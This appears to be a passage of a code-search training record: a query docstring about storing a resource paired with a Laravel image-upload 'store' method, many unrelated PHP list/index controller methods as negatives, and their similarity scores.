$this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create(Request $request) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { // $this->validate($request, [ 'file' => 'image' ]); $path = $request->file('file')->store('/', 'public'); $image = Image::create([ 'photo' => 'storage/' . $path ]); return [ 'status' => 'success', 'image' => $image->load('tags') ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
